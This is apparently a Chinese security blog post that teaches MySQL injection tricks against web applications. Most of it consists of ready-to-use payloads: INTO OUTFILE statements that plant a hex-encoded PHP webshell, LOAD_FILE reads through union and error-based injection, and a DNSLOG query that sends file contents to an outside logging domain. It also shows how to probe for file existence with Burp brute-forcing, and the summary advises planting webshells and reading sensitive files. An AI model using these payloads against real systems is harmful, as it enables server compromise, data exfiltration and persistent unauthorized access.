报错注入邂逅LOAD_FILE&INTO OUTFILE搭讪LINES

0x00 前言

近期分析mysql利用报错注入读取文件内容,利用LINES TERMINATED BY在查询只返回一个字段时写webshell文件,以及如何利用load_file扫描判断文件是否存在。

0x01 into outfile写文件

  • 要求用户具有file权限
  • 文件不能覆盖写入,所以文件必须为不存在
  • 如果secure_file_priv非空,则写入文件的目录只能为对应目录下

注意:

FIELDS TERMINATED BY原理为在输出数据的每个字段之间插入webshell内容,所以如果select返回的只有一个字段,则写入的文件不包含webshell内容,例如下面语句SELECT username FROM user WHERE id = 1 into outfile 'D:/1.php' FIELDS TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e,写入的文件中只包含username的值而没有webshell内容;

LINES TERMINATED BY和LINES STARTING BY原理为在输出每条记录的结尾或开始处插入webshell内容,所以即使只查询一个字段也可以写入webshell内容,更为通用。此外,该类方式可以应用于limit等不能union的语句之后进行写文件操作。

1. union注入写文件

1
SELECT * FROM user WHERE id = -1 union select 1,2,0x3c3f70687020706870696e666f28293b3f3e into outfile 'D:/1.php'

2. FIELDS TERMINATED BY(可在limit等语句后)

1
SELECT * FROM user WHERE id = 1 into outfile 'D:/1.php' fields terminated by 0x3c3f70687020706870696e666f28293b3f3e

3. LINES TERMINATED BY(可用于limit等sql注入)

1
SELECT username FROM user WHERE id = 1 into outfile 'D:/1.php' LINES TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e

4. LINES STARTING BY(可用于limit等sql注入)

1
SELECT username FROM user WHERE id = 1 into outfile 'D:/2.php' LINES STARTING  BY 0x3c3f70687020706870696e666f28293b3f3e

0x02 LOAD_FILE读文件

  • 要求用户具有file权限
  • 如果secure_file_priv非空,则只能读取对应目录下的文件

1. 联合注入+load_file读文件

1
SELECT * FROM user WHERE id=-1 UNION select 1,'1',(select load_file('D:/1.php'))

2. DNSLOG带外查询

  • 需要windows环境
1
SELECT id FROM user WHERE id = load_file (concat('\\\\',hex((select load_file('D:/1.php'))),'.t00ls.xxxxxxxxx.tu4.org\\a.txt'))

3. 报错注入+load_file读文件

ps:报错注入读文件内容,有时候会由于报错长度受限或者文件编码问题,推荐采用hex编码方式分段读取文件内容

1
2
3
select * from user  where username = '' and updatexml(0,concat(0x7e,(LOAD_FILE('D:/1.php')),0x7e),0)

select * from user where id=1 and (extractvalue(1,concat(0x7e,(select (LOAD_FILE('D:/1.php'))),0x7e)))

某CMS报错注入读取文件实例1:

image

某CMS报错注入读取文件实例2:

image

0x03 扫描文件是否存在

  • 要求用户具有file权限
  • 如果secure_file_priv非空,则只能扫描判断对应目录下的文件

原理:
load_file读取文件时,如果没有对应的权限获取或者文件不存在则函数返回NULL,所以结合isnull+load_file可以扫描判断文件名是否存在

1
2
3
4
5
6
7
如果文件存在,isnull(load_file('文件名'))返回0
mysql> select * from user where username = '' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('D:/1.php')),0x7e),0);
ERROR 1105 (HY000): XPATH syntax error: '~0~'

如果文件不存在isnull(load_file('文件名'))返回1
mysql> select * from user where username = '' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('D:/xxxxx')),0x7e),0);
ERROR 1105 (HY000): XPATH syntax error: '~1~'

某CMS报错注入扫描文件实例,存在文件C:/Windows/win.ini

image

某CMS报错注入扫描文件实例,不存在文件C:/Windows/passwd

image
可以结合burp爆破扫描文件名

image

0x04小结

  • 倘若知道绝对路径且有权限时,通常都是直接into outfile写webshell
  • 不知道网站绝对路径时,可以尝试读取常见的配置文件获取网站绝对路径,然后进行写操作;或者直接读取敏感的文件,获取信息进行其他操作。
  • 此外load_file可以在盲注情况下,利用DNSLOG带外获取内容,或者hex()函数转换后按位读取敏感的文件内容
  • 还有很多的利用技巧,大家自行研究,多多分享